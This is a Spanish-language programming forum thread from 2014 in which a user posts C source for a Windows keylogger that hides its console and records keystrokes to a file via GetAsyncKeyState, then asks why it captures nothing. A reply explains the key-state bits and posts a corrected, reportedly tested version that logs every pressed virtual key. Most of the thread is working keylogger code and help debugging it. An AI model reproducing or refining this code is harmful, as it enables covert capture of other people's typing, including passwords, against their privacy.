elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Keylogger queda ejecutándose en un while infinito
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger queda ejecutándose en un while infinito  (Leído 2,815 veces)
kutcher

Desconectado Desconectado

Mensajes: 53


Ver Perfil
Keylogger queda ejecutándose en un while infinito
« en: 13 Septiembre 2014, 02:44 am »

Buenas, tengo el siguiente programa :

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. int main(void)
  6. {
  7.    FILE *f;
  8.    int i, n = 0;
  9.    int line[256];
  10.  
  11.    FreeConsole();
  12.  
  13.    if(! (f = fopen("log.txt", "ab+")))
  14.        return EXIT_FAILURE;
  15.  
  16.    while(1)
  17.    {
  18.        for(i = 0; i < 255; i++)
  19.        {
  20.            if(GetAsyncKeyState(i) == -32767)
  21.            {
  22.                if( n < 255)
  23.                    line[n++] = i;
  24.                else
  25.                {
  26.                    line[n] = '\0';
  27.                    fprintf(f, "%s\n", line);
  28.                    n = 0;
  29.                }
  30.            }
  31.        }
  32.        Sleep(2);
  33.    }
  34.    fclose(f);
  35.  
  36.    return EXIT_SUCCESS;
  37. }
  38.  

Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente

Saludos kutcher


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #1 en: 13 Septiembre 2014, 02:57 am »

si, es un loop infinito... es un keylogger no? que quieres más que haga?


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
kutcher

Desconectado Desconectado

Mensajes: 53


Ver Perfil
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #2 en: 13 Septiembre 2014, 04:09 am »

que quieres más que haga?

Lo mismo me pregunto? según veo debería ir almacenando en un txt los caracteres que se vayan presionado mientras esto suceda pero nada.. aparte te pediría que si no tienes argumentos suficientes para replicar de una manera u otra que de tal forma me sea útil tu respuesta; en cambio al no ser este el caso no me respondas pregunta por preguntas obvias

Saludos kutcher



« Última modificación: 13 Septiembre 2014, 04:44 am por kutcher » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #3 en: 13 Septiembre 2014, 05:31 am »

no se :P realmente no se como funciona el lio con GetAsyncKeyState si quieres buscate la documentacion...

por aqui igual hay un tema de keylogger... el codigo está un poco dañado por el foro, pero seguramente puedes leerlo
http://foro.elhacker.net/buscador2-t419324.0.html;msg1957917#msg1957917
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
BloodSharp


Desconectado Desconectado

Mensajes: 812


¡ Hiperfoco !


Ver Perfil WWW
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #4 en: 13 Septiembre 2014, 05:45 am »

Hay un pequeño detalle que msdn menciona respecto a GetAsyncKeyState y que indica que si la tecla que le pasás por parámetro está presionada el valor de retorno (en su bit menos significativo) si es distinto a cero significa que la tecla fue presionada...

Habiendo explicado eso podrías probar lo siguiente:
Código
  1. if(GetAsyncKeyState(tecla)&1)
  2. {
  3.     //tecla presionada codigo
  4. }
  5. else
  6. {
  7.    //tecla no fue presionada codigo
  8. }

Por otra parte usar un bucle infinito para capturar teclas es un asesinato de cpu espectacular lo cual el proceso consumiría una banda de uso del/los procesador/es de tu pc, lo ideal sería capturar las teclas mediante mensajes del sistema operativo ya que de esa forma optimizarías el uso de tu programa con respecto a los otros procesos.


B#
En línea



engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #5 en: 13 Septiembre 2014, 05:56 am »

el usa un sleep de 2ms... aunque es muy corto, es suficiente...

pero
Citar
most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

no quise opinar porque decía que no se debe confiar en este comportamiento... y de todas todos los key que he visto por aqui usan ese metodo... no se que otro pueden usar tampoco
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
BloodSharp


Desconectado Desconectado

Mensajes: 812


¡ Hiperfoco !


Ver Perfil WWW
Re: Keylogger queda ejecutándose en un while infinito
« Respuesta #6 en: 13 Septiembre 2014, 06:05 am »

Ups me confundí era el bit más signficativo, había leido solamente la parte del bit menos significativo que menciona a que se si se presiona después de que la rutina es llamada :P respecto a ese comportamiento supongo que es por compatibilidad para versiones de windows prehistoricas... En todo caso debería ser:
Código
  1. if(GetAsyncKeyState(tecla)&0x80000000)
  2. {
  3. //presionado
  4. }
  5. else
  6. {
  7. //no presionado
  8. }

EDIT: Ahí lo miré y modifiqué un poco el código, lo probé y funciona con MINGW
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. #define MAX_VIRTUALKEY 0xFF
  6.  
  7. char szKeyIntegerFormat[]="%i ";
  8.  
  9. BOOL InsertKey(int key)
  10. {
  11.     FILE *lpFile;
  12.     if((lpFile=fopen("log.txt","a")))
  13.     {
  14.         printf(szKeyIntegerFormat,key);
  15.         fprintf(lpFile,szKeyIntegerFormat,key);
  16.         fclose(lpFile);
  17.         return TRUE;
  18.     }
  19.     return FALSE;
  20. }
  21.  
  22. int main(void)
  23. {
  24.    int iVirtualKey;
  25.    //FreeConsole();
  26.    while(TRUE)
  27.    {
  28.        for(iVirtualKey=0;iVirtualKey<MAX_VIRTUALKEY;iVirtualKey++)
  29.            if(GetAsyncKeyState(iVirtualKey)&0x80000000)
  30.                if(!InsertKey(iVirtualKey))
  31.                    return EXIT_FAILURE;
  32.        Sleep(100);
  33.    }
  34.    return EXIT_SUCCESS;
  35. }


B#
« Última modificación: 13 Septiembre 2014, 16:49 pm por IEAX » En línea



Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Sonido infinito en Swish Max
Diseño Gráfico
Azielito 3 4,177 Último mensaje 30 Marzo 2004, 03:11 am
por BADBYTE-K
¿Cómo detecto si un programa está ejecutándose?
Programación Visual Basic
javito14 6 2,724 Último mensaje 27 Julio 2008, 11:47 am
por SKL (orignal)
Dejar el programa ejecutandose en memoria
Programación Visual Basic
hAcKeR92 8 3,475 Último mensaje 31 Enero 2009, 15:25 pm
por Karcrack
while infinito... « 1 2 »
Programación C/C++
javahat 11 6,122 Último mensaje 25 Mayo 2010, 07:16 am
por bizco
¿Como ocultar programa al iniciar windows pero que siga ejecutandose?
Windows
[{tusombra}] 6 13,305 Último mensaje 8 Enero 2012, 09:03 am
por Randomize
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines